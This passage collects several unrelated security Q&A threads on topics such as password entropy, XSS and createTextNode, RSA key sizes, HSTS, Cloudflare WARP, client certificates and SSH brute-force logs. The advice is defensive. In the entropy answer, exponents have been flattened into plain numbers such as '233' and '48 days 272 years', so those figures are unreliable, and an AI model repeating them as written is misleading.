Last, they could just guess. For example, every web server I run gets attempts to login to the wordpress admin panel. Which is funny for me because I don't run any wordpress sites... not so funny for wordpress users who didn't set a good password.


Comparison between Data Encryption Tools and Data Sanitization Tools What are the famous Data Sanitization Tools for languages such as ASP/PHP/Html Web Sites?

Which Data Sanitization tools have the best results?

  Difference between Data encryption and Data Sanitization tools with respect to their features? Can we use both tools at the same time?

How can we compare these two Tools?

Use a parametrized query library like SQLi, adodb, or PDO.  If used properly this makes SQL injection impossible.


How effective are password checking websites? I typed the following password in howsecureismypassword.net:

yummy candy yummy

It said it would take 100 billion years for a personal computer to crack. Is this accurate? Even though it has English words (that are related moreover) it is more secure than a random string of length 14?

If this is true everyone should be making passwords like this.

A little test at the site you mentioned suggests they're considering length, alphabet, and brute force attacks only.  The password you posted does indeed return an answer of 100 billion years.  Changing it to "yummy candy yum" returns 'only' 49 million years.  An eight character word, with or without numbers, returns eleven minutes.  Adding one symbol changes the answer to three hours.  So, probably a relatively unsophisticated algorithm.  Everything happens in JavaScript, but it is minified and I didn't slog through it.

Sadly for users for passwords, which is almost everyone, crackers of passwords have a surprisingly large number of heuristics and they've learned to harness GPUs to parallelize guesses.  Ars Technica did a series of articles on this in 2013.  Rather than post a half-dozen links, try this: https://www.google.com/search?q=password+cracking+site%3Aarstechnica.com

So, your question breaks down into two parts: How many bits of entropy in a password, and how long does it take to crack a password with n bits of entropy?  You can get a good example of "bits of entropy" in the XKCD comic mentioned by others.

People have four vocabularies: the vocabulary of words they use in speech, the vocabulary of words they understand in speech, the vocabulary of words they use in writing, and the vocabulary of words they understand in writing.  (The separation of spoken understanding and written understanding may be a little controversial but it really doesn't matter for the purpose of this discussion; I'm going to argue that speaking and reading vocabularies are the important ones.)

I have long suspected that the average American's speaking English vocabulary is about a thousand words.  I just spent some time looking for evidence or research and came up empty.  However, Mark Burnett found that 91% of all passwords come from a list of just 1,000 items. (https://xato.net/passwords/more-top-worst-passwords/)  That supports my conjecture as well as a fair amount of research might do.

So, if I asked an "average American" to pick a random word, that's probably about ten bits of entropy.  Randall Munroe (XKCD author) suggests using a list of 2,000 random words to generate pass phrases, so each word is about eleven bits of entropy because log2(2048) is 11.

Note that the password selection has to be random.  Password crackers take human biases into account in their heuristics.  One way to pick random words from a list is with Diceware.

We can think about entropy of characters instead of words.  There are 95 printable ASCII characters, and so, about that many one could type into a password.  Log2(95) is about 6.6, so, if characters are chosen randomly, an eight character password gives about 53 bits of entropy.  However, as Munroe points out in the comic, we rarely choose characters randomly; we pick a pattern, and that cuts entropy drastically.  (I do note that password manager programs can choose randomly from an alphabet, or at least pseudo-randomly.)

Given a way to estimate the number of bits of entropy in a password, how long to crack n bits?  If we've done the entropy estimate accurately, that accounts for the heuristics used by the crackers, and we can simplify to brute force cracking.

For fast hashes and no salting, this Ars Technica article estimates up to eight billion guesses per second.  Eight billion is 233. So, 33 bits of entropy will take one second, 34 bits, two seconds, and so on.  A pass phrase with 44 bits of entropy will take 211 seconds, or about half an hour.  If you get to 66 bits of entropy, six words from Munroe's hypothetical list or about ten random characters, that's 48 days 272 years.

It is important to note that the eight billion guesses/second is based on the passwords having been stored unsalted and using a fast hash like SHA-1.  If passwords are stored properly, using a random salt* and a key-stretching algorithm, then the brute force attack is reduced to thousands of guesses per second instead of billions.  There are details at Crackstation.  Sadly, we cannot depend upon people who run systems to store passwords "right," and so it is very important not to re-use passwords.

So, to (finally!) get to the question that was asked, "yummy candy yummy" probably has about 30 bits of entropy.  A random 14-character string has about 6.6 * 14 = 92.4 bits of entropy, more than 262 or a quintillion times more secure.

* A salt (see the Crackstation article) doesn't make it harder to crack a single password; it's purpose is to prevent precomputation attacks, where one set of computations cracks all or most passwords in a sample.


Is downloading a PDF from a browser-based app locally a HIPAA issue? Here's a scenario:

An intranet CPOE application
User runs a report, which downloads as a PDF and opens in Acrobat on the local PC
User leaves the PC without logging out or closing Acrobat
CPOE times out and auto-logs the user out
The PDF with sensitive data stays open. It is also stored in the browser cache/download folder

Now, is this a HIPAA issue? Is there anything a CPOE vendor can do? There are other things like clipboard, screenshots, etc., all resulting in a similar issue.

I asked a somewhat related question a while back, and after add'l research, I think I have an answer for you.

Short answer is Yes, it's a HIPAA issue.  However, it is not implicitly a HIPAA violation.  I'll assume that since you're discussing CPOE from the system in question, we're taking an provider organization's workstation, or a provider's workstation.  In either case, onus is on the workstation owner to have implemented proper security measures and practices to protect this information as it has been left on the machine.

1) The cache/download folder should be able to be cleaned quickly and implicitly via any "cancel"/abort action baked into the UI workflow, leaving no trace of PII/PHI. (If you've launched acrobat and it triggers a download to your download folder, I'm assuming we're at the point where the user has said "generate this".  Care providers may not like a pop-up every time that reminds them of the HIPAA considerations, however the 'do not show this message anymore' pattern should suffice.

2) Smart configuration of system (e.g. windows) authentication can protect the signed-in user's file structure (including the cache/download folder).  If nobody else can get to this data without authenticating, it's potentially okay.

3) Most responsible organizations dealing with HIPAA compliance have strict auto-logout procedures (e.g. 10 mins), however walking away w/o logging out and leaving Acrobat open as you describe is not a good move (so don't burden users with this liability in your product design).  This should be part of a more comprehensive, published, and frequently maintained security framework for the organization's HIPAA compliance.

4) The data/disk had better be encrypted in case the workstation gets into the wrong hands.

Bottom line is, pretty much any application which offers 'print' capability can introduce the workflow you're asking about.  As such, this in and of itself is not a HIPAA violation.

My related question had to do with an assumedly different scenario, where I was inquiring about providing a patient with a copy of clinical documentation.  The answers here basically confirmed that as long as you're explicitly stating the handoff of ownership of this data to the end-user (who's assumedly logged in to be granted access to the document in the first place), you needn't password-protect, encrypt, etc., the document itself.

Hope this helps.  Also browse the other HIPAA-tagged items here, as there's lots of discussion about transmission, storage, etc.!


Should untrusted strings be sanitized server-side if they're inserted into the document body through document.createTextNode? Chat webapp. Clients (that is, web browsers) send messages to the server, which the server broadcasts to all connected clients. Client-side code looks like this:

let p = document.createElement('p')
p.appendChild(document.createTextNode(message))
document.getElementById('chatbox').appendChild(p)

Where message is the string received from the server.

The problem here is that it is strongly recommended to sanitize server-side untrusted data before inserting it into document body, by removing special characters (<, >, ", etc) and replacing them with appropriate HTML entities. I was told the above code was vulnerable to XSS if this is not done.

However, such sanitization seems to lead to incorrect displaying of messages if document.createTextNode is used. Unlike innerHTML, document.createTextNode displays special characters verbatim and does not interpret them as HTML. Thus server-side sanitization that changes aforementioned characters to HTML entities will cause the clients to display the entities, not the characters the enities are supposed to represent.

As such I do not believe that such validation is necessary nor correct when document.createTextNode() is used.

However, I was told that it is nevertheless always necessary to sanitize untrusted strings server side. I was told that escaping these characters server-side was always necessary. In that case, am I supposed to stop using document.createTextNode() and start using innerHTML instead? That seems odd to me because I've always thought innerHTML to be one of the least secure features of JavaScript, which should not be used with untrusted content.

The input to createTextNode, textContent, and the non-standard innerText all take plain JavaScript strings. You do not need to and should not encode that input as HTML, plain JS strings are all you need.

That being said, you do still need to properly encode the message from the server. If you are outputting the text as HTML, you would encode it with HTML entities. If you are outputting the message as JavaScript or JSON, you would typically encode it with a JSON encoder. The correct encoding depends on the context it is output and is not always HTML.


SSL Encryption (for HTTPs) & Security vs Performance I was looking into server performance when using various SSL Certificates. Specifically 1024-bits vs 2048 vs 4096. It turns out, it makes a big difference!

I've heard a lot of talk lately about vendors issuing 2048 certs by default nowadays and was wondering what the consensus is in the community.

My line of thinking is that for something like sending contact form data 1024 might be okay, but for e-comm transactions and/or logins 2048 would be more appropriate. Is there a good use case for 4096?

What are the implications of using 1024-bit for sensitive information, is there much more risk of an attack?

Just to clarify: I came across this issue when doing performance testing on an AWS load balancer and yes key size did make a big difference, and yes i've dealt with clients that expect a lot of traffic in bursts so it's a legitimate concern not just a hypothetical.

Switching from 1024-bit to 2048-bit means that the operations with the asymmetric private key will take about 8 times as much CPU. A "normal PC" core can do about 1000 1024-bit RSA operations per second, down to about 125 per second for 2048-bit RSA. Note that RSA is used only at the start of the SSL connection, not afterwards; moreover, in SSL, there is an abbreviated handshake by which the client and the server reuse the cryptographic exchange from a previous handshake. Web browsers and Web servers do that a lot, so the cost of RSA in SSL is really for new clients (i.e. clients who have not connected since the last time they closed and reopened their browser). It thus takes a hundred or so new clients per second to actually see performance issues related to the key size on the server. Not every Web server out there can boast such a context.

I encourage to make measures in an actual realistic context. Microbenchmarks ("how many decryptions per second ?") are not always good predictors.

As for security, 1024-bit RSA is, as yet, unbroken. Current breakage record is RSA-768. Some smart people have tried to equate RSA Key length with symmetric key robustness; see this site for details. The comparison is not perfect because breaking big RSA keys involves some operations which use an awful lot of very fast RAM, quite unlike exhaustive search on a symmetric key (an embarrassingly parallel task which has no need for RAM). Yet, 1024-bit RSA is somewhat equivalent to a 77 to 80-bit symmetric key. That's not enough for the paranoid, but still beyond that which has been demonstrated to be breakable with currently deployed technology.

NIST recommends using 2048-bit RSA keys right now (since 2010). If you use a 1024-bit RSA key, your site won't be broken that way (when it is hacked, it will be through another channel than upfront cryptanalysis); however, your customers might conceive the idea that by using an unfashionably small key, you don't really care about them. It is more about public relations than security...

If you really have actual performance trouble with 2048-bit RSA keys (I don't believe it, but hey, weird things happen), I encourage you to investigate elliptic curves. An ECDHE_ECDSA cipher suite with the P-256 NIST curve will be faster than RSA-1024, and as strong as (arguably stronger than) RSA-2048.


IIS renew option missing for self-signed certificate does anyone know why the "Renew" button is missing in IIS 7 ? It's a self-signed certificate and I'd like to renew it. Is is because it's  self-signed ? I have another certificate within IIS and it was signed by our internal Root CA and I can see the renew button.

Thanks

Adam

Such a button does not make sense. Renewing a certificate typically means generating a new certificate request (and possibly automatically sending it to a CA). A self-signed certificate does not have a CA to sign it so there is no point in generating a certificate request: just generate a new self-signed certificate with the same name.


Virtualize a hardware firewall? Hypothetically let's say I have reason to believe my operating system is compromised with spyware, and there's no way to remove or disable it. But I have an advantage insofar that I know the IP addresses the spyware is sending my info to, so I can mitigate the damage by using my router's firewall.

But then I want to take the computer traveling, which means it won't be under my external firewall whenever I connect to WiFi abroad and what not. Is there a way to virtualize a hardware firewall so that I can be confident that the spyware's TCP/IP packets are nullified? (I can't just install a software firewall within the OS because I don't know if the spyware would have some way of compromising it; say, via a rootkit or something similar.)

EDIT:

I guess the hypothetical was too specific, so I'll try to be more clear. I'm looking for a way to nullify (with certainty) TCP/IP packets being transmitted from an OS that may be compromised. So one way to do that is to use an external firewall like a router, but suppose you can't use that because you're traveling. The only solution I can think of is to put the entire OS in a virtual machine and then use the host OS's firewall, but is there any other possible solutions?

I guess you already know this, but you are in a precarious situation. Other malware you are not familiar with may have already be installed remotely.

To answer your question, certainly it is possible. Linux operating systems are commonly used as router/firewalls, and they can be run within a VM.

However, it may be simpler to customize the Windows Firewall, as that can be configured with filters on outbound connections by IP address. (not just listen sockets as is the default configuration)

Both of those run within the compromised machine so they could be bypassed.

The best solution (short of removing the malware which you should be doing) is to have a separated firewall device which you connect to with a direct cable connection. You should disconnect or power off the WiFi connection ability of your laptop.

Be sure to configure your Firewall to use a white-list (only allow known good IPs) and not a black-list (I think these are the only bad IPs so I'll block them) because you never know if it might try a different IP at some point. Sometimes malware is set for a delayed install.


How to safely create a "honeypot (linux) user" Would following be a feasible security feature to detect attempts?
Creating a user with following specs:

Username admin
Password fairly insecure (not 123456, but a dictonary word)
Special permissions: none
A .bashrc script that notifies me of the login, ...

Questions

Would this create security risks (priviledge escalation, etc.)?
Would it be a sensible way of collecting information about an attacker, or should one close the session immediately within the .bashrc script?
What steps should be taken to make it feasible/secure?

Purpose

To know about a more severe threat before it is "too late"
To gather information about an attacker: techniques/tools they are using, who they are (where the attacks come from), etc.

Allowing execution of an unknown source is not a good idea even if the user has minimal privileges.

Things that can be done by attackers:

The attacker can execute code on your hardware, and may use 100% CPU for mining cryptocurrencies for example.
The attacker may eventually have the opportunity to use a privilege escalation such as dirty-cow.
The attacker may find a suid file that was badly designed for privilege escalation.

There are opensource projects on GitHub that emulate a ssh session, and you can be in full control of the session: https://github.com/micheloosterhof/cowrie/blob/master/README.md


firewall with cloud based malware analysis risks Palo Alto, and probably others firewalls will offer it too, has a feature to do malware analysis in a separate (cloud-based) process that does not impact stream processing. What I would like which risks could be related with this approach. Some problems that I thought:

Privacy: Which kind of data is sent to the cloud based anti-malware solution? There is any kind of risk associated or any kind of way to guarantee that has no information leak?
If somebody/group DDoS the cloud provider. Does it affect my firewall anyhow?
If its a targeted attack and the cloud detect the attack. As it isn't streamed, can be that it will be too late when it detects the attack?

All Firewall/ IPS vendors have a license option to use their "Intelligence Network".   It has been evolving slowly across the security vendors over past 5 years. The intelligence or cloud network is collection of their devices across the customer base.  These devices all report up to the vendor "cloud" or intelligence center.  Once they collect and score they are sent back out to the network of those people that have subcribed to the network for reputation updates.

That being said - you would not be effected at your Firewall / IPS layer if you are subscribing to the network. If the service go down, you loose update subscription.  The attack you are talking about could be shutdown by the intelligence service, since they control the pivot point in the connection of all the devices down stream, including DDOS.


Is this HSTS HTTP Response Header Misconfigured? I recently discovered during a penetration test that the HSTS was returned by the application but in this format:
"Strict-TransportSecurity"
Instead of:
"Strict-Transport-Security"
Does this format mean that the header (HSTS) is not validated by the client and prevented from doing what it is designed to do? As I understand HTTP headers are case insensitive but I'm not sure if this is a valid header name.
Any advice is greatly appreciated. Thank you

This is an undefined header.
As such, how browsers react to it is browser-dependent. It is possible, but very unlikely, that they will still interpret the header correctly. However, I would not bet on it.
Instead, change the header from Strict-TransportSecurity to Strict-Transport-Security.


Is sending address, email address, etc. unencrypted over Internet - like Three UK does - bad security practice? So I use the Three network in the UK to access the Internet on my phone. Recently, I noticed when going to mobile.three.co.uk  to access services which also includes information about my email address, home address, my PIN for accessing security settings, etc. (i.e. my personal and security information), that the website was not encrypted! This meant all my personal information and sensitive PIN number and other security information was being transmitted over the internet in the clear, which is very, very bad for security!

Am I overreacting or is this actually not very good security practice?

You can see screenshots I took:

https://www.dropbox.com/s/oxtxznakaf2scr3/1.PNG?dl=0

https://www.dropbox.com/s/6nsp0k9l32y9m9a/2.PNG?dl=0

Now, on that page in the picture above, I have to enter an access PIN, after which I can access pages displaying my home address, email address, international settings, security questions, etc. - but this page itself also uses HTTP not HTTPS! (However, any page to do with financial stuff like direct debit details is encrypted and shows up as HTTPS, but surely pages with personal information should also be encrypted?)

The answer by @Guille is absolutely correct, however there is one aspect that it might not take into account and specific to mobile networks.

The screenshots posted show that you are connected to Three via 4G which is encrypted and is very possibly never leaving to the internet and is handled directly by Three via an internal network (4G is considered secure encryption as far as I am aware at this point) therefore the traffic will only be unencrypted in transit in Three's internal networks. This scenario would be very similar to how many companies transfer all this data using HTTP, and only encrypt as it leaves their networks at, for example, load balancers or reverse proxies. In this case it is never leaving the "trusted" network.

One way to test this is to turn on WiFi and check this is still handled the same way.

I would certainly agree that HTTPS would be best practice, but it may not be as bad as it initially appears.


What does using Cloudflares WARP app offer that HTTPS (websites) alongside DNS over HTTPS / TLS doesn't? Intoduction to Cloudflare WARP
I’ve been looking at Cloudflares WARP app for mobile. It claims to be a VPN but without some of the IP hiding anonymity features normal VPNS have: “Under the covers, WARP acts as a VPN. But now in the 1.1.1.1 App, if users decide to enable WARP, instead of just DNS queries being secured and optimized, all Internet traffic is secured and optimized“.
It also claims that it will encrypt all internet connected apps on your phone: “This doesn't just apply to your web browser but to all apps running on your phone. Any unencrypted connections are encrypted automatically and by default. WARP respects end-to-end encryption and doesn’t require you to install a root certificate or give Cloudflare any way to see any encrypted Internet traffic we wouldn’t have otherwise.”
Aside from the privacy implications it also claims to be faster in some areas, however I’m only really interested from a privacy / security perspective.
Question
My question is, what does using Cloudflare WARP offer over using a standard HTTPS enabled site (with HTTPS everywhere) alongside DNS over HTTPS or TLS (DoH or DoT) to say, access content on a public coffee shop WiFi where people could spy on your browsing activity. Or even your ISP on your own private network.
Is there much point using WARP if a HTTPS enabled site with DNS over HTTPS or TLS encrypts both your DNS lookups and website content already?
I use DNS over TLS via Cloudflare for my Android phone via Android 9’s built in private DNS setting and for Firefox using DNS over HTTPS, again via Cloudflare.
From a security / privacy perspective, the only benefit I can see to using WARP over normal HTTPS + DNS over HTTPS / TLS, is if you don’t browse content on a web browser and use mobile apps where a HTTPS connection might not be present. According to this, it’s not easy to verify. As mentioned earlier WARP supposedly encrypts everything on your phone, which would be beneficial in this siutation.
But as for DNS over HTTPS / TLS I can’t see any benefit to using WARP.
Maybe someone could provide insight into this. Am I any more secure and private using Cloudflare WARP from public WiFi snoopers or even my ISP, than just ensuring my apps and websites use HTTPS and ensuring my phone or browsers built in DNS over HTTPS / TLS is active?
I'm well aware that using WARP is not a substitute for a VPN.
Thanks.

It looks like Cloudflare WARP uses the Wireguard VPN as the underlying technology to tunnel the traffic between the client and Cloudflare's own servers. This means that everything on this way will be encrypted.
This includes not only DNS and HTTPS content which would also be protected by DNS over HTTPS and by HTTPS. But this includes also HTTPS-level meta data like the target server name (SNI) and IP-level meta data like target IP address. And of course everything not using HTTPS will be encrypted too, but that wasn't your point.
The encryption of these HTTPS-level and IP-level meta data means less visibility in what your are doing for the owner of the Hotspot and your ISP. All they can see is that you connect to Cloudflare and that you are using their VPN. Without the VPN they could still see which sites you were connecting to by analyzing the SNI information in the TLS handshake and/or the target IP address of the connection.

I'm well aware that using WARP is not a substitute for a VPN.

If your goal is primarily to protect yourself from sniffing by your ISP or the owner of a WiFi Hotspot then Cloudflare WARP is a substitute for other VPN. In fact it is a VPN in the classical use case, i.e. to provide protection from sniffing and manipulation when using potential insecure communication lines. It does not address the additional use cases other VPN offer, like  bypassing geo-restrictions of services or providing more privacy by hiding your source IP address.


How useful or beneficial is participating in CTF contests for my security career? Yes, there are already some great questions and answers about CTF contests on StackExhange Security. But before I go down the rabbit hole of comparing all the CTFs out there, trying to find a team to join, and travelling to a conference to participate in a CTF contest, I'd like to hear some opinions on how beneficial this could be for my career.

One of my major concerns is that I want to learn real pen testing skills, not just now to crack clever code obfuscation puzzles and break into imaginary TCP services.

CTFs really are what you make them (like a lot of other things in life).

Networking You never know who you are talking to at these events or what type of opportunities arise with the people you are working with. You never know who will notice your skills at those kinds of events either. You may start a company with people on your CTF team or meet someone who offers you a great(er) job.

How it looks: I put victories for some of the CTFs Ive done on my resume (I guess Im the different kind of security person bethlakshmi mentioned :-) ) and this is almost always what potential employers ask me about.

Usually they ask questions like

1) What did you do for your team?

2) Did you ever work with technology they want?

Usual interview questions, but they honestly want to hear about the experience and can use it as a way to validate "This guy actually knows the things that are listed on his resume".

Your fears
I would also say that breaking imaginary TCP services and funny puzzles are important to being a good pen-tester.  People who have the skillset to break those puzzles understand not only the how to pen-testing, but also the "why things work" behind pen-testing.  Potential employers will see you as being more eager to solve new problems, yada, yada.

Answer Is it for you? I guess you will have to try it.  I can tell you it is a great way to have fun, make new friends, and learn more security.  At the very least you will have people on your team who will help your pen-testing skills grow. In my opinion its worth it.  For career advancement...that really depends on where your career is today and where you want it to be tomorrow.


Why did my provider reset my password after someone else attempted to gain access to my account? Recently a provider (of SIP trunking services) I subscribe to sent me a strange email. It claimed that someone in another country attempted to reset the password to my account and was unsuccessful in answering my security question.

The provider's response to this event was to reset my password.

  Dear Customer,

  We received a request to reset the password for the account ‘myusername’
  from the IP address 41.174.96.79 but the security question entered was
  invalid.

  As a security precaution we have set your accounts password to:
  roRy1391

  Once you have logged in you will be prompted to change your password
  immediately.

(The email turned out to be real, and I was able to login and change my password successfully.)

It seems to me that the appropriate response to such an event is for the provider to do nothing. After all, what if this attacker had already gained access to my email account? Then he would have received this email, and gotten access to my account anyway.

However, there is a possibly mitigating factor. This provider always requires answering the security question whenever logging in from a new IP address. This also, in theory, would have stopped this attack if the attacker had gotten access to this password reset email.

Was this an appropriate action on the provider's part? If not, what should they have done instead, and what should I say when I yell at them?

This is an absolute breach of security. Even if their policy was somehow sound, sending the password in plaintext to you in an email means that the reset is useless, and as you said, if the attacker had access to your email the security questions wouldn't do squat.

They should have done nothing as the security question answered was invalid. The best thing to do, IMHO, is to go a step further and block the user from answering questions for a defined period. Notifying you is a proper step, but changing the password just makes it useless.

I'd ask them a simple question: "if you're going to send me (or someone pretending to be me with access to my email) a password if I/someone else guess the security question wrong, what's the point of security questions?"


Phone location detection If someone posts something on the internet using their phone's data connection, is it possible to track their location?  For example, somehow link their IP address and figure out their location.  Or even better, use the IP address, and find out which phone IMEI that post came from?  Or something similar? i.e get their cell location based on the IP address maybe?

It depends on whether you are reading the post alone, whether you have access to the access logs which would give the source IP address, or whether you are a government agency with serious data collection resources.

If you are reading the post then no, you cannot get a location as there's typically no information on the source of the post other than the poster's username or handle.

If you have access to the server access logs then you probably can get the source IP address of the connection. With that information you can generally tell using a geolocation site or using whois lookups. That information may help you narrow it down to mobile provider or internet service provider, and that can often give you a general location. That general location can be pretty big though if the mobile provider or ISP has a wide coverage base. Also, if someone is using an anonymity service the IP address you see will not help you track them.

If you are a government with lots of resources and you want to know where a post came from you will likely have a database of all the connection information in your country and possibly others as well. That would include every mobile call, every mobile data connection, etc. Chances are this would be enough to track you, although anonymization may still work.


Are the letsencrypt clients audited? When more and more webservers installs the letsencrypt client to have free letsencrypt certs, I was just thinking.

Are the letsencrypt client(s) audited? Can they have malicious code in them?

Let's encrypt publishes an API. Anyone can write a client for that API, including one with malware. You don't have to ask permission, you can sit down and make it without asking any one.

The reccomended client, certbot, can be assumed to be reasonably vetted, and while not guaranteed to be bug free, there's very very low likelihood of intentional malware in it.

The reason it can be trusted is that it's a rather popular piece of software, with contributions from many persons, and an equal amount of persons peering at the software, and in addition EFF have a good reputation.


Client Certificate in SSL HandShake insecure? Imagine we have an application which is trying to establish a secure connection to a server by using SSL. Now we want the user to authenticate himself with a client certificate which he stores in an secure keystore.

So if I read this specification right the server is sending its certificate during the handshake protocol and is able to demand a certificate from the client with a certificate request, if that's neccessary. Now the user sends his certificate to the server just like the server did before which means in plaintext since no keys were exchanged yet.

What I'm not getting now is, if the client certificate is send in plaintext and the certificate is not bound to a specific device and the public key of the client inside its certificate is not used to generate the symmetric key which is used for encryption later,
why is it not possible for an attacker to sniff the handshake protocol between the client and the server, assuming he is sitting in the same wireless lan as his victim?
Like that he could see the client certificate, copy it and use it on his own.

So how is this scenario prevented? Of cause the attacker would not be able to change some data of the certificate since he doesn't have the private key the certificate was signed with, but wouldn't it be enough to copy the certificate to steal his victims identity?
What am I missing here? Is the certificate bound to the device after all? But I thought it wouldn't since it's just containing some information about the client himself and his public key.

I thought it would be a better idea to send the client certificate after the handshake protocol when a symmetric key was exchanged and the application data is encrypted. I know you could also user additional user credentials like a username and a password but I am just talking about the security of the client certificate now.

So what do you think?

The certificate contains only the public key -- that's public data. The important part is not the Certificate message that the client sends, but the CertificateVerify message which the client also sends. That message contains a digital signature which the client computes using his private key, and over the previous handshake messages. The attacker can sniff all he wants, he will not get the private key, which is not sent, and he will not be able to compute another signature, applicable over another SSL exchange.


Is an open public WiFi network considered safe if employing client isolation? The risks using open public WiFi networks has been done to death.

What I've been wondering is whether an open WiFi network (typically public) is safe against packet-sniffing if that network is using client isolation?

(Putting aside the still-important risk of an evil twin which the above does not mitigate against)

As I understand it, using client isolation means just that. If a bad actor connects to the same open network, they, and myself for that matter, are limited to our own broadcast domain. Which effectively means, they can't see my traffic. Period.

Assuming the answer is yes (client isolation prevents packet-sniffing), to what degree does client isolation make using an open network safer to use?

Follow-up to above, is there a good tool to test if this has been implemented on a said open network? My idea would be to connect another device to that same network and unleash some nmap goodness to validate.

TR,DR: Not true.

Imagine an Ethernet network using VLAN tagging, and client isolation. Each client can only talk to the gateway, and not to themselves in any way. But clients are not connected via a switch, but by a common hub. If any client stars a packet sniffer, it can see every packet, as the hub broadcasts every packet to every port.

Any wireless network works like a hub. The packets are broadcast to everyone around to listen. A protected network will encrypt the packet so only the intended clients will be able to decode the packet content, but anyone around will be able to listen.

On your case, even if normally the OS will not process any packet not addressed to it, any station in monitor mode (even those not associated) will be able to receive every packet, no matter if you have client isolation or not.


How hacker/ others get your SSH private key / stole your SSH private key? I know we must keep private keys secure, but as long as we don't share the private key, what can go wrong?
How hackers/others can steal/get your private key?
What is the possible way that can happen for :

Non-educated people (Beginner)
People that have basic knowledge like not clicking spam, untrusted link, ads, always use sudo with caution

Thank you

Private keys aren't any different from any other files, so any way for an attacker to get an arbitrary file from your PC is also a way for them to get your private key - provided it wasn't encrypted. This includes, but is not limited to:

Theft
Malware
Accidental Disclosure
Insecure Storage
etc.

Each of these issues must be tackled in isolation, and they may not all be of equal importance. For example, I find it very unlikely that someone would break into my apartment and steal my hard drive - but it is much more likely that my laptop is being stolen when I am travelling.
One thing that is specific to private key is that a lot of even tech-literate people do not know what public-key cryptography is and thus think a private key is "like a password, but it's a file". As such, when they are supposed to upload their public key somewhere (which is a legitimate and necessary for the process to work), they sometimes upload their private key instead.
Even advanced users occasionally fall for malware, depending on the situation. For example, a few years ago, a friend sent me a message through steam, just with a link to a file. I downloaded and opened it. Big mistake. This wasn't because I am somehow stupid (although people who know me would disagree), but because a handful of factors played together: I was busy playing a game, it was late at night and that friend happened to often just send me random links to check out. So it wasn't any behavior that raised alarm bells for me.


How is a hash's algorithm detected based on the hash? I was reading an Ars Technica article this morning and came across the following towards the end (emphasis mine):

  Equation Group included six other hashes in different exploits that remain unknown at the moment. They appear to be generated by the SHA1 algorithm. They are:

  0044c9bfeaac9a51e77b921e3295dcd91ce3956a

  06cf1af1d018cf4b0b3e6cfffca3fbb8c4cd362e

  3ef06b6fac44a2a3cbf4b8a557495f36c72c4aa6

  5b1efb3dbf50e0460bc3d2ea74ed2bebf768f4f7

  930d7ed2bdce9b513ebecd3a38041b709f5c2990

  e9537a36a035b08121539fd5d5dcda9fb6336423

How is it possible to deduce the algorithm used to generate a hash based on the bits of the hash alone? (Especially with respect to the SHA class of algorithms, which were intended to be cryptographically secure?)

You cannot, in full generality, infer the hash algorithm from the output. An output is just a sequence of bits, and hash functions that produce n-bit outputs can at least theoretically produce any sequence of n bits of output.

However, some people can make quick inferences (perhaps too quick), by saying that among the "usual" hash functions, only one produces 160-bit outputs, and that is SHA-1. (This notion of "usual" excludes RIPEMD-160, which, while rarer than SHA-1, is still widely used as part of PGP.)

IF, at some point in the future, we find a value x such that SHA-1(x) matches one of these hash values, then we will be pretty sure that SHA-1 was indeed involved, and on input x; any other hypothesis would mean that we have just broken SHA-1's preimage resistance, which is, as far as we know, out of our collective technological reach (unless we get very very lucky). However, until this is done, claiming that "this is SHA-1" is just guesswork.


Lots of SSH tries on my log. Is it normal? I have a Raspberry Pi connected to my home and at day 2 of this month I've opened the port 22 of my router so I could SSH it from anywhere. Today by curiosity, I decided to see the raspberry pi log, and I've found lines like this:

Mar 29 07:00:34 raspberrypi sshd[10242]: Failed password for root from 59.63.192.199 port 45555 ssh2
Mar 29 07:00:36 raspberrypi sshd[10242]: Failed password for root from 59.63.192.199 port 45555 ssh2
Mar 29 07:00:38 raspberrypi sshd[10242]: Failed password for root from 59.63.192.199 port 45555 ssh2
Mar 29 07:00:39 raspberrypi sshd[10242]: Received disconnect from 59.63.192.199: 11:  [preauth]
Mar 29 07:00:39 raspberrypi sshd[10242]: PAM 2 more authentication failures; logname= uid=0 euid=0 tty=ssh ruser= rhost=59.63.192.199  user=root
Mar 29 07:00:50 raspberrypi sshd[10246]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=59.63.192.199  user=root
Mar 29 07:00:51 raspberrypi sshd[10246]: Failed password for root from 59.63.192.199 port 38807 ssh2
Mar 29 07:00:53 raspberrypi sshd[10246]: Failed password for root from 59.63.192.199 port 38807 ssh2
Mar 29 07:00:55 raspberrypi sshd[10246]: Failed password for root from 59.63.192.199 port 38807 ssh2

Raspberry pi doesn't even have a root user, but I'm afraid. Is there any possibility something got invaded? I'm just learning to use the raspberry pi and today I was going to set a private key and disable password based SSH login. I'm going to also format the SD card and reinstall Raspbian, just to be sure.

The question is:
I can't remember, but I THINK port 22 wasn't open at that the time of this login. Also, what does those port numbers mean? It says port 38807 for example. Where is this port? Aren't they trying to connect to 22?

There are already numerous questions about this, here, on Serverfault and Unix&Linux. I'm on mobile so I unfortunately can't link them, but if you search for "SSH bruteforce" you'll find a highly upvoted question on each of these sites.

Basically, you should stop thinking your "Raspberry Pi" (gosh I'm starting to hate this name) is something special. It's not, it's just a standard Linux machine and all questions and security procedures that apply to Linux machines also apply to it.

Once you start thinking right you can browse the many questions the SE network has about securing servers.

For your particular case, a quick solution would be to switch to keys and disable password authentication entirely (that takes care of the security issue, so attackers can't do any mischief), and change the SSH port to something non-standard such as 2222 so that you get less noise in your logs (despite switching to keys, these automated break in attempts will continue, and while they can no longer break in they'll still flood your logs).


Is it possible to tell if an email went through a proxy type service where the email might be monitored? Recently, we began implementing some 3rd party email proxy services that allow control filters for in and out bound emails. This is for compliance reasons.

Anyway, this got me thinking. Could it be possible that hackers and others could setup a type of transparent proxy that intercepts and copies all email if they managed to gain control of email servers or in some cases office365 where you can secretly change where email is sent going outbound?

Yes.

This isn’t anything new though.

E-Mails may get forwarded several times between MTAs, whereas every MTA can (and must) see (at least) the headers of the message.

That is one of the reasons for deploying (and using) end to end encryption: end to end encrypted email bodies cannot be read in transit by forwarding MTAs.

The padlock that google shows only indicates that the transit between the last MTA outside of google and google has been encrypted; this does not mean however that the transit MTAs not read (and possibly even modify) the email.

You can witness this behavior with several free web mail providers who append an advertising signature to emails even if they are sent via a mail client. That is possible because the MTA has access to the whole of the message when processing it. A malicious MTA in this chain (you might call it a proxy from a functional point of view if it is the first hop of outbound and last hop of inbound mails) can easily copy all emails.

That being said, one would have to have control over an MTA within the delivery chain of all emails, but there are several ways how to do that.

Also: there is no way to tell wether an email has been copied in-transit while being processed by an MTA, other than the other answer is suggesting.


Tell if someone accessed my filesystem In the organization I work for,
the computers are connected in a network,
